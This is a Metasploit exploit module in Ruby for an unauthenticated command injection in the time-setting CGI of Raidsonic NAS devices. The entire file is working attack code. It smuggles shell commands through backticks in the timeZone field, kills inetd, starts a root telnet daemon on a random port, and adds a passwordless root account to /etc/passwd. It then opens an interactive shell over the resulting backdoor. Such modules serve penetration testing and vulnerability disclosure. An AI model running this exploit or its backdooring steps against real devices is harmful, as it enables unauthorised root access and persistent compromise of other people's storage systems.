Land #2188, @m-1-k-3's module for OSVDB 90221
jvazquez-r7
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1fc849bdd5
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ManualRanking # It's backdooring the remote device
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::CommandShell
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include Msf::Exploit::FileDropper
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RESPONSE_PATTERN = "\<FORM\ NAME\=\"form\"\ METHOD\=\"POST\"\ ACTION\=\"\/cgi\/time\/time.cgi\"\ ENCTYPE\=\"multipart\/form-data"
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Raidsonic NAS Devices Unauthenticated Remote Command Execution',
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'Description' => %q{
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Different Raidsonic NAS devices are vulnerable to OS command injection via the web
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interface. The vulnerability exists in timeHandler.cgi, which is accessible without
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authentication. This module has been tested with the versions IB-NAS5220 and
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IB-NAS4220. Since this module is adding a new user and modifying the inetd daemon
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configuration, users should use this module at his own risk.
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},
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'Author' =>
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[
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'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
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'juan vazquez' # minor help with msf module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '90221' ],
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[ 'EDB', '24499' ],
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[ 'BID', '57958' ],
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[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-010' ]
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],
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'DisclosureDate' => 'Feb 04 2013',
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'Privileged' => true,
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'Platform' => 'unix',
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'Payload' =>
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{
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'Compat' => {
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'PayloadType' => 'cmd_interact',
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'ConnectionType' => 'find',
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},
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},
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'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DefaultTarget' => 0
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))
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register_advanced_options(
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[
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OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
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OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
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], self.class)
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end
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def tel_timeout
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(datastore['TelnetTimeout'] || 10).to_i
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end
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def banner_timeout
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(datastore['TelnetBannerTimeout'] || 25).to_i
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end
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def exploit
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telnet_port = rand(32767) + 32768
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print_status("#{rhost}:#{rport} - Telnet port: #{telnet_port}")
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#first request
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cmd = "killall inetd"
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cmd = Rex::Text.uri_encode(cmd)
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print_status("#{rhost}:#{rport} - sending first request - killing inetd")
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res = request(cmd)
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#no server header or something that we could use to get sure the command is executed
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if (!res or res.code != 200 or res.body !~ /#{RESPONSE_PATTERN}/)
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
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end
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#second request
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inetd_cfg = rand_text_alpha(8)
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cmd = "echo \"#{telnet_port} stream tcp nowait root /usr/sbin/telnetd telnetd\" > /tmp/#{inetd_cfg}"
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cmd = Rex::Text.uri_encode(cmd)
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print_status("#{rhost}:#{rport} - sending second request - configure inetd")
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res = request(cmd)
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#no server header or something that we could use to get sure the command is executed
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if (!res or res.code != 200 or res.body !~ /#{RESPONSE_PATTERN}/)
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
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end
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register_file_for_cleanup("/tmp/#{inetd_cfg}")
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#third request
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cmd = "/usr/sbin/inetd /tmp/#{inetd_cfg}"
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cmd = Rex::Text.uri_encode(cmd)
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print_status("#{rhost}:#{rport} - sending third request - starting inetd and telnetd")
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res = request(cmd)
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#no server header or something that we could use to get sure the command is executed
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if (!res or res.code != 200 or res.body !~ /#{RESPONSE_PATTERN}/)
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
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end
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#fourth request
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@user = rand_text_alpha(6)
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cmd = "echo \"#{@user}::0:0:/:/bin/ash\" >> /etc/passwd"
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cmd = Rex::Text.uri_encode(cmd)
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print_status("#{rhost}:#{rport} - sending fourth request - configure user #{@user}")
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res = request(cmd)
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#no server header or something that we could use to get sure the command is executed
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if (!res or res.code != 200 or res.body !~ /#{RESPONSE_PATTERN}/)
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
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end
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print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
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ctx = { 'Msf' => framework, 'MsfExploit' => self }
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sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port.to_i, 'Context' => ctx })
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if sock.nil?
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
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end
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add_socket(sock)
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print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
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prompt = negotiate_telnet(sock)
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if prompt.nil?
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sock.close
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
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else
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print_good("#{rhost}:#{rport} - Telnet session successfully established...")
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end
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handler(sock)
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end
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def request(cmd)
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uri = '/cgi/time/timeHandler.cgi'
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begin
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res = send_request_cgi({
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'uri' => uri,
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'method' => 'POST',
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#not working without setting encode_params to false!
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'encode_params' => false,
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'vars_post' => {
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"month" => "#{rand(12)}",
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"date" => "#{rand(30)}",
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"year" => "20#{rand(99)}",
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"hour" => "#{rand(12)}",
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"minute" => "#{rand(60)}",
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"ampm" => "PM",
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"timeZone" => "Amsterdam`#{cmd}`",
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"ntp_type" => "default",
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"ntpServer" => "none",
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"old_date" => " 1 12007",
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"old_time" => "1210",
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"old_timeZone" => "Amsterdam",
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"renew" => "0"
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}
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})
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return res
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rescue ::Rex::ConnectionError
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
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end
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end
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def negotiate_telnet(sock)
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login = read_telnet(sock, "login: $")
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if login
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sock.put("#{@user}\r\n")
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end
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return read_telnet(sock, "> $")
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end
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def read_telnet(sock, pattern)
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begin
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Timeout.timeout(banner_timeout) do
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while(true)
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data = sock.get_once(-1, tel_timeout)
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return nil if not data or data.length == 0
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if data =~ /#{pattern}/
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return true
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end
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end
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end
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rescue ::Timeout::Error
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return nil
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end
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end
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end
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